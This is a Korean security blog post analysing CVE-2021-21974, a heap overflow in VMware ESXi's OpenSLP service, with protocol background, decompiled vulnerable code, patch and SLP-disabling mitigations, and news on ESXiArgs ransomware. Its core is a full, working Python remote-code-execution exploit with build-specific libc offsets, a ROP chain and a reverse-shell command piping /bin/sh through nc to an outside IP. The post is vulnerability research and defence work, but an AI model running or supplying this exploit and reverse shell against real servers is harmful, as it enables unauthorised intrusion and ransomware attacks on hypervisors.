1. ESXi

- 가상 컴퓨터를 배치하고 서비스를 제공할 목적으로 VM웨어가 개발한 엔터프라이즈 계열 타입 1 하이퍼바이저

※ 하이퍼바이저: 단일 물리 머신에서 여러 가상 머신을 실행하고 관리할 수 있도록 해주는 소프트웨어

 

1.1 OpenSLP (Open Service Location Protocol)

- 클라이언트가 사전 구성 없이 네트워크에서 사용 가능한 서비스를 동적으로 검색할 수 있도록 하는 서비스 검색 프로토콜

- 대부분 UDP를 사용하나, 긴 패킷을 전송할 경우 TCP 또한 사용가능하며, 427 포트를 사용

구성 설명
User Agents
(UA, 사용자 에이전트)
- 서비스를 검색하는 장치
Service Agents
(SA, 서비스 에이전트)
- 하나 이상의 서비스를 알리는 장치
Directory Agents
(DA, 디렉터리 에이전트)
- 서비스 정보를 캐시하는 장치
- 트래픽 양을 줄이고 SLP 확장을 허용하기 위해 더 큰 네트워크에서 사용
- 선택 사항이지만 DA가 있는 경우 UA와 SA는 DA를 통해 통신

 

패킷 설명
서비스 요청 - UA가 사용하고자 하는 서비스를 네트워크에서 찾기위한 패킷
- 가능한 모든 결과를 얻기 위해 반복적으로 멀티캐스트 전송
- 참고 : https://datatracker.ietf.org/doc/html/rfc2608#section-8.1
속성 요청 - 서비스 요청에 대한 SA의 응답 패킷
- UA가 주어진 서비스 또는 전체 서비스 유형의 속성을 확인하도록 하여 사용 가능한 서비스에 대한 쿼리를 수행
- 참고 : https://datatracker.ietf.org/doc/html/rfc2608#section-10.3
서비스 등록 - SA가 서비스 등록(제공)을 위해 DA에 전송하는 패킷
- 참고: https://datatracker.ietf.org/doc/html/rfc2608#section-8.3
- URL에 대한 정보를 entry로 가짐
- 참고: https://datatracker.ietf.org/doc/html/rfc2608#section-4.3
디렉토리 에이전트 알림 - 전반적인 DA의 상태를 알리기위한 패킷
- 참고: https://datatracker.ietf.org/doc/html/rfc2608#section-8.5

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2021-21974

- ESXi에서 사용되고 있는 OpenSLP의 힙 오버플로 취약점을 트리거하여 원격 코드를 실행할 수 있는 취약점

제품명 플랫폼 영향 받는 버전
ESXi 모든 플랫폼 6.5
6.7
7.0
힙 영역
- 필요에 의해 동적으로 할당된 변수를 저장하며, 실행 시 크기가 결정됨.
- 메모리의 낮은 주소에서 높은 주소의 방향으로 할당

힙 오버플러
- 메모리 영역 중 힙 데이터 영역에서 발생하는 버퍼 오버플로우
- 프로그램의 함수 포인터를 조작하여 임의의 명령을 실행하는 등의 악성 동작을 수행

※ 스택영역: 지역변수와 매개변수가 저장되며, 함수 호출 시 크기가 결정, 메모리의 높은 주소에서 낮은 주소방향으로 할당
※ 스택 오버플러: 함수의 RET를 조작하여 임의의 명령을 실행하는 등의 악성 동작을 수행

 

2.1 분석

- OpenSLP는 관리자 권한으로 실행되며, 인증없이 입력값을 수신하고, 문자열 끝을 미지정하는 문제로 인해 힙오버플로우가 발생

 

- 취약점은 'SLPParseSrvURL' 함수에서 발생

- 해당 함수는 '디렉토리 에이전트 알림' 메시지가 처리될 때 호출됨

undefined4 SLPParseSrvUrl(int param_1,char *param_2,void **param_3)

{
  char cVar1;
  void **__ptr;
  char *pcVar2;
  char *pcVar3;
  void *pvVar4;
  char *pcVar5;
  char *__src;
  char *local_28;
  void **local_24;
  
  if (param_2 == (char *)0x0) {
    return 0x16;
  }
  *param_3 = (void *)0x0;
  __ptr = (void **)calloc(1,param_1 + 0x1d);                                       [1]
  if (__ptr == (void **)0x0) {
    return 0xc;
  }
  pcVar2 = strstr(param_2,":/");                                                   [2]
  if (pcVar2 == (char *)0x0) {
    free(__ptr);
    return 0x16;
  }
  pcVar5 = param_2 + param_1;
  memcpy((void *)((int)__ptr + 0x15),param_2,(size_t)(pcVar2 + -(int)param_2));    [3]

- [1]: param_1(URL의 길이)에 0x1d(29)를 더하여 calloc함으로써 메모리를 할당받음

- [2]: strstr()를 이용해 param_2(사용자 입력 URL)에서 :/의 위치를 찾아 이후 문자열을 pcVar2에 저장

※ strstr은 검색 문자열을 찾지 못할경우나 null 문자에 도달할 경우 0을 반환

- [3]: memcpy()를 이용해 param_2의 (size_t)(pcVar2 + -(int)param_2)만큼을 (void *)((int)__ptr + 0x15)에 복사

 

- param_2는 사용자 입력을 통해 받는 값이지만 strstr()를 사용하기 전에 param_2의 끝에 NULL을 추가하지 않음

- 따라서 범위 밖의 문자열을 검사하여 memcpy 부분에서 heap overflow가 발생

 

- SLP를 통해 RCE를 수행하기 위해 SLP에서 송수신에 사용되는 struct _SLPBuffer의 구조는 다음과 같음

typedef struct _SLPBuffer
{
    SLPListItem listitem;
    size_t  allocated;
    unsigned char*   start;
    unsigned char*   curpos;
    unsigned char*   end;
    // buffer data is appended
}*SLPBuffer;

typedef struct _SLPDSocket
{
    SLPListItem         listitem;
    int                 fd;
    time_t              age;
    int                 state;
// ...
    SLPBuffer           recvbuf; /* Incoming socket stuff */
    SLPBuffer           sendbuf;
// ...
}SLPDSocket;

- VMware의 SLP 코드를 통해 RCE를 트리거하는 과정은 다음과 같음

① 접속상태(connection->state)를 STREAM_WRITE_FIRST로서 덮어씀. 메모리를 leak 하기 위해 sendbuf->curpos를 sendbuf->start로 리셋

② sendbuf->start의 일부분을 2개의 널 바이트로 덮어씀. 연결 후 수신을 기다리면, sendbuf의 주소를 포함한 메모리를 leak 할 수 있음

③ mmap()으로 할당된 recvbuf를 leak 하기 위해 새로운 연결을 하고 sendbuf->curpos를 덮어씀. mmap 된 주소를 통해 libc base 주소를 얻을 수 있음

④ free_hook의 주소를 설정하기 위해 새로운 연결에서 recvbuf->curpos를 덮어씀. 연결 후 전송이 시작되면 free_hook을 덮어쓸 수 있습니다.

⑤ 연결을 종료하면 free_hook을 호출되여 ROP 체인을 시작

ROP(Return-Oreinted-Programming)
- ret영역에 가젯을 이용하여 연속적으로 함수를 호출하며 공격자가 원하는 흐름대로 프로그래밍 하듯 공격
- 총 두가지 과정으로 나뉘어짐
① 공격을 하기위해 필요한 요소들을 구하는 과정
② ①에서 구한 요소들을 가지고 Exploit

 

2.2 PoC

- 대상 서버에 조작된 SLP 패킷 생성 및 전송하여 힙 오버플로를 유발한 후 임의의 명령을 실행하는 과정으로 판단됨

#!/usr/bin/python3

import sys
import time
import trace
import queue
import struct
import socket
import threading

IP = sys.argv[1]
#shell_cmd = b'echo "pwned" > /tmp/pwn'
shell_cmd = b'mknod /tmp/backpipe p ; /bin/sh 0</tmp/backpipe | nc 192.168.0.194 80 1>/tmp/backpipe'

DEBUG = False
PRINT = True
LOG_LEAK = False

T = 0.3 #0.4
PORT = 427
COMMAND = 'command'
MARKER = b'\xef\xbe\xad\xde'

LISTEN = 0x65
STREAM_READ = 0x6c
STREAM_WRITE = 0x6f
STREAM_READ_FIRST = 0x6d

LISTEN_FD = 0x8

leaked_data = b'\x00\x00\x00\x00'
leaked_values = None

class SLP_Thread(threading.Thread):
    def __init__(self, input_q):
       super(SLP_Thread, self).__init__()
       self.input_q = input_q

    def run(self):
       s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       while True:
          try:
             
             data = self.input_q.get(True, 0.05)
             name = threading.current_thread().name.replace('Thread','SLP Client') 
             
             if 'connect' == data[COMMAND]:
                if PRINT:
                   print('[' + name + '] connect')
                s.connect((IP, PORT)) 
             
             elif 'service request' == data[COMMAND]:
                arg1 = data['arg1'] 
                outgoing = self.generate_srv_rqst(arg1)
                if PRINT:
                   print('[' + name + '] service request')
                s.send(outgoing)
                d = s.recv(1024)
                if PRINT:
                   print('[' + name + '] recv: ', d)
 
             elif 'directory agent advertisement' == data[COMMAND]:
                arg1 = data['arg1']
                arg2 = data['arg2']
                outgoing = self.generate_da_advert(arg1, arg2)
                if PRINT:
                   print('[' + name + '] directory agent advertisement')
                s.send(outgoing)
                d = s.recv(1024)
                if PRINT:
                   print('[' + name + '] recv: ', d)
       
             elif 'service registration' == data[COMMAND]:
               arg1 = data['arg1']
               arg2 = data['arg2']
               arg3 = data['arg3']
               arg4 = data['arg4']       
               outgoing = self.generate_srv_reg(arg1, arg2, arg3, arg4)
               if PRINT:
                  print('[' + name + '] service registration')
               s.send(outgoing)
               d = s.recv(1024)
               if PRINT:
                  print('[' + name +'] recv: ', d)

             elif 'attribute request' == data[COMMAND]:
               arg1 = data['arg1']
               arg2 = data['arg2']
               outgoing = self.generate_attrib_rqst(arg1)
               if PRINT:
                  print('[' + name + '] attribute request')
               s.send(outgoing)
               output = b''
               for i in range(0, arg2):
                  output += s.recv(1)
               if PRINT:
                  print('[' + name + '] recv: ', output)
             
             elif 'recv' == data[COMMAND]:
                output = b''
                arg1 = data['arg1']
                arg2 = data['arg2']
                for i in range(0, arg2):
                   output += s.recv(1)
                if arg1:
                   print('[' + name + '] recv: ', output)
             
             elif 'leak data' == data[COMMAND]:
                outgoing = b''
                incoming = b''
                arg1 = data['arg1']   
  
                if arg1 > 0:
                
                   for i in range(0, arg1):
                      outgoing += s.recv(1)

                   #print(outgoing.hex())

                   global leaked_data
                   leaked_data = outgoing            
 
                else:

                   while True:
                      incoming = s.recv(1)
                      outgoing += incoming
                      if MARKER in outgoing:
                         break
                   
                   global leaked_values
                   leaked_values = []

                   try:
                      for i in range(0, len(outgoing), 4):
                         v = struct.unpack('<I', outgoing[i : i+4])[0]
                         leaked_values.append(v)
                   except:
                      pass

             elif 'close' == data[COMMAND]:
                if PRINT:
                   print('[' + name + '] close')
                s.close()
                break
       
          except queue.Empty:
             continue 

    def generate_slp_header(self, payload, functionid, xid, extoffset):
       packetlen = len(payload) + 16
       if extoffset:
          extoffset += 16
       header = bytearray([2, functionid])
       header.extend(struct.pack('!IH', packetlen, 0)[1:])
       header.extend(struct.pack('!IHH', extoffset, xid, 2)[1:])
       header.extend(b'en')
       return header

    def generate_srv_rqst(self, data):
       srvtype = prlist = scopes = predicate = b''
       spi = data
       payload = bytearray(struct.pack('!H', len(prlist)) + prlist)
       payload.extend(struct.pack('!H', len(srvtype)) + srvtype)
       payload.extend(struct.pack('!H', len(scopes)) + scopes)
       payload.extend(struct.pack('!H', len(predicate)) + predicate)
       payload.extend(struct.pack('!H', len(spi)) + spi)
       header = self.generate_slp_header(payload, 1, 5, 0)
       return header + payload

    def generate_da_advert(self, url, scopes):
       error_code = 0
       boot_time = int(time.time())
       attributes = spi = auth_blocks = b''
       payload = bytearray(struct.pack('!H', error_code) + struct.pack('!I', boot_time))
       payload.extend(struct.pack('!H', len(url)) + url)
       payload.extend(struct.pack('!H', len(scopes)) + scopes)
       payload.extend(struct.pack('!H', len(attributes)) + attributes)
       payload.extend(struct.pack('!H', len(spi)) + spi)
       payload.extend(struct.pack('!H', len(auth_blocks)) + auth_blocks)
       header = self.generate_slp_header(payload, 8, 0, 0)
       return header + payload
   
    def generate_url_entry(self, url):
       lifetime = 2 * 60 #seconds
       auth_blocks = b''
       payload = bytearray([0])
       payload.extend(struct.pack('!H', lifetime))
       payload.extend(struct.pack('!H', len(url)) + url)
       payload.extend(struct.pack('!B', len(auth_blocks)) + auth_blocks)
       return payload
   
    def generate_srv_reg(self, url, srvtype, scopes, attributes):
       attrib_auth_blocks = b''
       url_entry = self.generate_url_entry(url)
       payload = bytearray(url_entry)
       payload.extend(struct.pack('!H', len(srvtype)) + srvtype)
       payload.extend(struct.pack('!H', len(scopes)) + scopes)
       payload.extend(struct.pack('!H', len(attributes)) + attributes)
       payload.extend(struct.pack('!B', len(attrib_auth_blocks)) + attrib_auth_blocks)
       header = self.generate_slp_header(payload, 3, 20, 0)
       return header + payload
   
    def generate_attrib_rqst(self, url):
       scopes = b'DEFAULT'
       prlist = tags = spi = b''
       payload = bytearray(struct.pack('!H', len(prlist)) + prlist)
       payload.extend(struct.pack('!H', len(url)) + url)
       payload.extend(struct.pack('!H', len(scopes)) + scopes)
       payload.extend(struct.pack('!H', len(tags)) + tags)
       payload.extend(struct.pack('!H', len(spi)) + spi)
       header = self.generate_slp_header(payload, 6, 12, 0)
       return header + payload

def close():
   time.sleep(T)
   return {'command' : 'close'}

def connect():
   time.sleep(T)
   return {'command' : 'connect'}

def service_request(arg1):
   time.sleep(T)
   return {'command' : 'service request', 'arg1' : arg1}

def da_advert_request(arg1, arg2):
   time.sleep(T)
   return {'command' : 'directory agent advertisement', 'arg1' : arg1, 'arg2' : arg2}

def service_registration(arg1, arg2):
   time.sleep(T)
   return {'command' : 'service registration', 'arg1' : b'127.0.0.1', 'arg2' : arg1, 'arg3' : b'default', 'arg4' : arg2}

def attribute_request(arg1, arg2):
   time.sleep(T)
   return {'command' : 'attribute request', 'arg1' : arg1, 'arg2' : arg2}

def leak_data(arg1 = -1):
   time.sleep(T)
   return {'command' : 'leak data', 'arg1': arg1}

def overflow_and_extend(size, flag):
   arg1 = b'A' * 24
   arg2 = b'B' * 13 + struct.pack('<H', size + flag) + b':/' + b'C' * 647
   return da_advert_request(arg1, arg2)

def update_target_slpdsocket(fd, size, state):
   payload  = b'\xd0\x00\x00\x00'
   payload += b'\x00' * 8 + b'\xbe\xba\xfe\xca'
   payload += struct.pack('<I', fd)
   payload += b'\x00' * 4
   payload += struct.pack('<I', state)
   payload += b'\x00' * 12
   payload += b'\x02\x00\x00\x00'
   payload += b'\x7f\x00\x00\x01'
   payload += b'\x00' * 8
   filler = b'A' * (size - 0x76)
   return service_request(filler + payload)

def partial_update_target_send_buffer(size, send_buffer_size, flag, data):
   payload  = struct.pack('<I', send_buffer_size + flag)
   payload += b'\x00' * 8
   payload += struct.pack('<I', send_buffer_size - 0x20)
   payload += data #b'\x00' * 2
   filler = b'A' * (size - 0x56)
   return service_request(filler + payload)

def update_target_send_buffer(size, send_buffer_size, flag, address, length):
   payload = struct.pack('<I', send_buffer_size + flag)
   payload += b'\x00' * 8
   payload += struct.pack('<I', send_buffer_size - 0x20)
   payload += struct.pack('<I', address) * 2
   payload += struct.pack('<I', address + length)
   payload += b'\x00' * 0x10
   filler = b'A' * (size - 0x66)
   return service_request(filler + payload)

def update_target_recv_buffer(size, address):
   size += 0x1a
   payload  = b'\x40\x00\x00\x00'
   payload += b'\x00' * 8
   payload += struct.pack('<I', size)
   payload += struct.pack('<I', address - 26) * 2 + struct.pack('<I', address - 26 + size)     
   filler = b'A' * 0xca
   return service_request(filler + payload)

def block(size):
   if size > 0x38:
      size = size - 0x38
   else:
      size = 1
   return service_request(b'A' * size)

def breakpoint():
   time.sleep(T)
   input('breakpoint')

def exploit():
   count = 60
   requests = [0]
   slpclients = [0]

   global leaked_data
   global leaked_values

   requests.extend([queue.Queue() for i in range(1, count)])
   slpclients.extend([SLP_Thread(input_q = requests[i]) for i in range(1, count)])

   for i in range(1, count):
      slpclients[i].start()

   requests[1].put(connect())
   requests[1].put(da_advert_request(b'roflmao://pwning', b'BBB'))

   requests[2].put(connect())
   requests[3].put(connect())
   requests[4].put(connect())
   requests[5].put(connect())

   requests[2].put(block(0x40))
   requests[3].put(block(0x40))
   requests[4].put(block(0x40))
   requests[5].put(block(0x40))

   requests[6].put(connect())
   requests[6].put(block(0x810))
   requests[7].put(connect())
   requests[8].put(connect())
   requests[6].put(close())
   requests[9].put(connect())
   requests[9].put(overflow_and_extend(0x140, 0x1))
   fd = 0xc
   requests[8].put(update_target_slpdsocket(fd, 0x140, STREAM_READ_FIRST))
   requests[7].put(service_registration(b'service:pwn', MARKER + b'B' * (0x3200 - 21 - 4)))
   requests[8].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))
   requests[10].put(connect())
   requests[10].put(block(0x70))

   requests[11].put(connect())
   requests[12].put(connect())
   requests[13].put(connect())
   requests[11].put(block(0x810))
   requests[14].put(connect())
   requests[14].put(block(0x160))
   requests[12].put(block(0x810))
   requests[14].put(close())
   requests[15].put(connect())
   requests[15].put(attribute_request(b'service:pwn', 0x20))

   requests[13].put(block(0x110))
   requests[16].put(connect())
   requests[17].put(connect())

   requests[12].put(close())
   requests[18].put(connect())
   requests[18].put(overflow_and_extend(0x120, 0x3))
   requests[17].put(partial_update_target_send_buffer(0x120, 0x3220, 0x1, b'\x00\x00'))
   requests[19].put(connect())
   requests[19].put(block(0x178))

   requests[11].put(close())
   requests[20].put(connect())
   requests[20].put(overflow_and_extend(0x140, 0x1))
   fd = 0x11
   requests[16].put(update_target_slpdsocket(fd, 0x140, STREAM_WRITE))
   requests[16].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))
   requests[21].put(connect())
   requests[21].put(block(0x178))
   requests[15].put(leak_data())

   time.sleep(T + 1.0)

   heap_address = 0
   libc_base_address = 0

   if leaked_values == None:
      print("[-] Exploit Failed [-]")
      return -1

   leaked_values = leaked_values[::-1]

   if LOG_LEAK:  
      for i in leaked_values:
         print(hex(i))
 
   if leaked_values[0] == 0xdeadbeef:
      heap_address = leaked_values[6] - 0x3220 + 0x4
     
   elif leaked_values[0] == 0xefeb3174:
      heap_offset = 0x2b1 if leaked_values[42] == 0x42424242 else 0x5d61
      heap_address = leaked_values[14] + heap_offset
   
   libc_leak_location = heap_address - 0x100 + 4
      
   requests[22].put(connect())
   requests[22].put(block(0x810))
   requests[23].put(connect())
   requests[23].put(block(0x100))
   requests[24].put(connect())
   requests[24].put(block(0x810))
   requests[23].put(close())
   requests[25].put(connect())
   requests[25].put(block(0x698))

   requests[27].put(connect())
   requests[28].put(connect())

   requests[24].put(close())
   requests[26].put(connect())
   requests[26].put(overflow_and_extend(0x130, 0x1))
   requests[27].put(update_target_send_buffer(0x130, 0x598, 0x1, libc_leak_location, 0x4))
   requests[29].put(connect())
   requests[29].put(block(0x178))
   
   requests[22].put(close())
   requests[30].put(connect())
   requests[30].put(overflow_and_extend(0x140, 0x1)) 
   fd = 0x15
   requests[28].put(update_target_slpdsocket(fd, 0x140, STREAM_WRITE))
   requests[28].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))
   requests[31].put(connect())
   requests[31].put(block(0x178))
   requests[25].put(leak_data(0x4))
 
   time.sleep(T + 1.0)
   libc_base_address = struct.unpack('<I', leaked_data)[0] - 0x193568

   libc_ret_offset = 0x0008009c
   libc_system_offset = 0x0003e390
   libc_environ_offset = 0x00194e20
   libc___free_hook_offset = 0x001948d8
   libc_ret_address = libc_base_address + libc_ret_offset
   libc_system_address = libc_base_address + libc_system_offset
   libc_environ_address = libc_base_address + libc_environ_offset
   libc___free_hook_address = libc_base_address + libc___free_hook_offset
   shell_cmd_address = heap_address + 0x34

   gadget_offset = 0x0007fe01 # add esp, 0x100 ; ret
   gadget_address = libc_base_address + gadget_offset

   requests[27].put(update_target_send_buffer(0x130, 0x598, 0x1, libc_environ_address, 0x4))
   requests[28].put(update_target_slpdsocket(fd, 0x140, STREAM_WRITE))
   requests[25].put(leak_data(0x4))
 
   time.sleep(T + 1.0)
   stack_environ_address =  struct.unpack('<I', leaked_data)[0]
   esp_offset = 0xe30 if sys.argv[2] == '1' else 0xe7c
   esp_value = stack_environ_address - esp_offset
   pivoted_esp_value = esp_value + 0x100

   print()
   print('[+] libc base address: ', hex(libc_base_address))
   print("[+] libc system address: ", hex(libc_system_address))
   print("[+] libc environ address: ", hex(libc_environ_address))
   print("[+] libc __free_hook address: ", hex(libc___free_hook_address))
   print("[+] ret address: ", hex(libc_ret_address))
   print("[+] gadget address: ", hex(gadget_address))
   print('[+] heap address: ', hex(heap_address))
   print("[+] shell command address: ", hex(shell_cmd_address))
   print("[+] stack enviorn address: ", hex(stack_environ_address))
   print("[+] esp value: ", hex(esp_value))
   print("[+] pivoted esp value: ", hex(pivoted_esp_value))
   print()

   requests[28].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))
   
   requests[32].put(connect())
   requests[32].put(block(0x810))
   requests[33].put(connect())
   requests[34].put(connect())
   requests[34].put(block(0x810))
   requests[33].put(block(0x100))
  
   requests[35].put(connect())
   requests[36].put(connect())

   requests[34].put(close())
   requests[37].put(connect())
   requests[37].put(overflow_and_extend(0x120, 0x3))
   requests[36].put(update_target_recv_buffer(0x4, shell_cmd_address))
   requests[38].put(connect())
   requests[38].put(block(0x178))
   
   requests[32].put(close())
   requests[39].put(connect())
   requests[39].put(overflow_and_extend(0x140, 0x1))
   requests[35].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))
   requests[40].put(connect())
   requests[40].put(block(0x178))   

   fd = 0x1a
   payload = shell_cmd + b'\x00'
   requests[36].put(update_target_recv_buffer(len(payload), shell_cmd_address))
   requests[35].put(update_target_slpdsocket(fd, 0x140, STREAM_READ))
   requests[33].put(service_request(payload))
   
   payload = struct.pack('<I', libc_ret_address) * 10 + struct.pack('<I', libc_system_address) + b'\x41' * 4 + struct.pack('<I', shell_cmd_address)
   requests[36].put(update_target_recv_buffer(len(payload), pivoted_esp_value - 0x10)) 
   requests[35].put(update_target_slpdsocket(fd, 0x140, STREAM_READ))
   requests[33].put(service_request(payload))
   
   #breakpoint()
   
   payload = b'\x41\x41\x41\x41' if DEBUG == True else struct.pack('<I', gadget_address)
   requests[36].put(update_target_recv_buffer(len(payload), libc___free_hook_address))
   requests[35].put(update_target_slpdsocket(fd, 0x140, STREAM_READ))
   requests[33].put(service_request(payload))

   time.sleep(T + 1.0) 
   print('[*] exploit deployed')
   return 0

def intro():
   print("   _____   _____   ___ __ ___ _    ___ _ ___ ____ _ _       ")
   print("  / __\ \ / / __|_|_  )  \_  ) |__|_  ) / _ \__  | | |      ")
   print(" | (__ \ V /| _|___/ / () / /| |___/ /| \_, / / /|_  _|     ")
   print("  \___| \_/ |___| /___\__/___|_|  /___|_|/_/ /_/   |_|      ")
   print()
   print("                       PoC Exploit                          ")
   print()
   print("      vuln discovered by: Lucas Leong (@_wmliang_)          ")
   print("           poc by: Johnny Yu (@straight_blast)              ")
   print("                                                            ")
   print()
   print("           currently support the following:                 ")
   print("         [1] VMware ESXi 6.7.0 build-14320388               ")
   print("         [2] VMware ESXi 6.7.0 build-16316930               ")
   print()

if __name__ == '__main__':
   intro()   
   exploit()

3. 대응방안

① 최신 업데이트 적용

※ 참고: https://www.vmware.com/security/advisories/VMSA-2021-0002.html

제품명 플랫폼 영향 받는 버전 패치 버전
ESXi 모든 플랫폼 6.5 ESXi650-202102101-SG
6.7 ESXi670-202102401-SG
7.0 ESXi70U1c-17325551

 

② SLP 서비스 사용 중지

  ⒜ 명령어 사용

    i) ssh로 취약한 ESXi 호스트에 로그인
    ii) 아래 명령어로 호스트 SLP 서비스 중지
      - /etc/init.d/slpd stop
    iii) 재부팅 후에도 비활성화를 유지하려면 아래 명령어를 입력
      - chkconfig slpd off

 

  ⒝ GUI 사용

    i) vCenter에 로그인
    ii) ESXi 호스트를 선택하고 'Configure'-'Service' 탭 클릭
    iii) 목록에서 SLP 서비스를 선택
      * 목록에 SLP가 없다면 명령어로 SLP 서비스를 중지
    iv) 알림창의 서비스 중지 버튼('OK')를 클릭

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2021-21974
https://www.vmware.com/security/advisories/VMSA-2021-0002.html
https://github.com/Shadow0ps/CVE-2021-21974/blob/main/2021-21974-POC.py
https://straightblast.medium.com/my-poc-walkthrough-for-cve-2021-21974-a266bcad14b9
https://www.zerodayinitiative.com/blog/2021/3/1/cve-2020-3992-amp-cve-2021-21974-pre-auth-remote-code-execution-in-vmware-esxi
- https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=3592
- https://koren.kr/kor/Alram/notiView.asp?s=4082 

요약 - VMware ESXi OpenSLP에서 발생하는 원격코드 실행 취약점이 랜섬웨어 유포에 악용
내용 - 최근 VMware ESXi 취약점을 악용해 랜섬웨어가 유포
> KISA은 VMware ESXi의 취약한 버전을 사용하는 사용자는 최신 버전으로 업데이트할 것을 긴급히 권고
> VMware ESXi의 OpenSLP에서 발생하는 원격코드 실행 취약점(CVE-2021-21974)을 악용_해당 취약점은 이미 2년 전에 VM웨어가 패치
※ 영향받는 버전
① 6.5(ESXi650-202102101-SG 이전 버전)
② 6.7(ESXi670-202102401-SG 이전 버전)
③ 7.0(ESXi70U1c-17325551 이전 버전)

※ 패치 버전
 6.5 : ESXi650-202102101-SG 이후 버전
 6.7 : ESXi670-202102401-SG 이후 버전
 7.0 : ESXi70U1c-17325551 이후 버전

- 해당 맬웨어가 이 복구 절차를 무력화하도록 진화
> 해당 랜섬웨어가 타깃으로 삼는 구성 파일의 더 많은 비율을 암호화
기타 - 미국의 사이버 보안 전담 기관인 CISA가 ESXi악스(ESXiArgs) 랜섬웨어의 복호화 도구 ESXiArgs-Recover를 배포하기 시작
> 이미 이를 활용해 복호화에 성공한 사례들이 늘어나는 중

- 복구 스크립트를 사용하기 전에 철저히 검토 필요
> 스크립트는 암호화 된 설정 파일을 삭제하는 게 아니라 새로운 설정 파일을 생성함으로써 가상기계들로 접근할 수 있게 해 주는 기능을 가지고 있기 때문

- CISA 권고
> 스크립트를 실행한 후 즉시 서버를 최신 버전으로 업데이트하고
> ESXiArgs 공격자가 가상머신을 손상시키는 데 사용한 SLP(Service Location Protocol) 서비스를 비활성화
> 시스템을 다시 초기화하기 전에 ESXi 하이퍼바이저를 공용 인터넷에서 차단

- 추가 공격을 방지하기 위한 CISA와 FBI의 권고
> 정기적인 오프라인 백업 유지
> 알려진 맬웨어 벡터(예: SMB 네트워크 프로토콜 초기 버전 등) 제한
> 높은 수준의 내부 보안 등

 

보안뉴스

 

VMware ESXi 취약점 패치 필수! 최근 랜섬웨어 유포에 악용

클라우드 컴퓨팅 및 가상화 소프트웨어 전문기업 VMware의 유닉스 계열 운영체제인 ESXi에서 취약점이 발견됐다. 최근 VMware ESXi 취약점을 악용해 랜섬웨어가 유포되고 있어 기업 담당자들의 철저

www.boannews.com

 

미국 CISA, ESXi 랜섬웨어 피해자들에게 무료 복호화 도구 제공

보안 외신 핵리드에 의하면 미국의 사이버 보안 전담 기관인 CISA가 최근 여러 국가 기관들에서 경고가 나온 ESXi악스(ESXiArgs) 랜섬웨어의 복호화 도구를 배포하기 시작했다고 한다. 이 도구의 이

www.boannews.com

 

“VM웨어 ESXi 서버 랜섬웨어, 복구 스크립트 무력화하는 버전 나왔다”

FBI와 CISA가 VM웨어 ESXi 서버를 타깃으로 한 ESXiArgs 랜섬웨어용 복구 스크립트를 내놨지만 해당 랜섬웨어가 이 복구 절차를 우

www.ciokorea.com

 

엑시악스 랜섬웨어 복구 도구 나오자마자 변종이 새롭게 등장

보안 전문 블로그 시큐리티어페어즈에 의하면 엑스악스(ESXiArgs) 랜섬웨어 운영자들이 벌써 변종을 개발해 사용하기 시작했다고 한다. 어제 미국의 CISA가 복구 스크립트를 개발해 배포하고 난 직

www.boannews.com

 

블로그

 

VMware ESXi OpenSLP 힙 오버플로를 통한 RCE (CVE-2021-21974)

1. ESXi - 가상 컴퓨터를 배치하고 서비스를 제공할 목적으로 VM웨어가 개발한 엔터프라이즈 계열 타입 1 하이퍼바이저 ※ 하이퍼바이저: 단일 물리 머신에서 여러 가상 머신을 실행하고 관리할 수

ggonmerr.tistory.com

+ Recent posts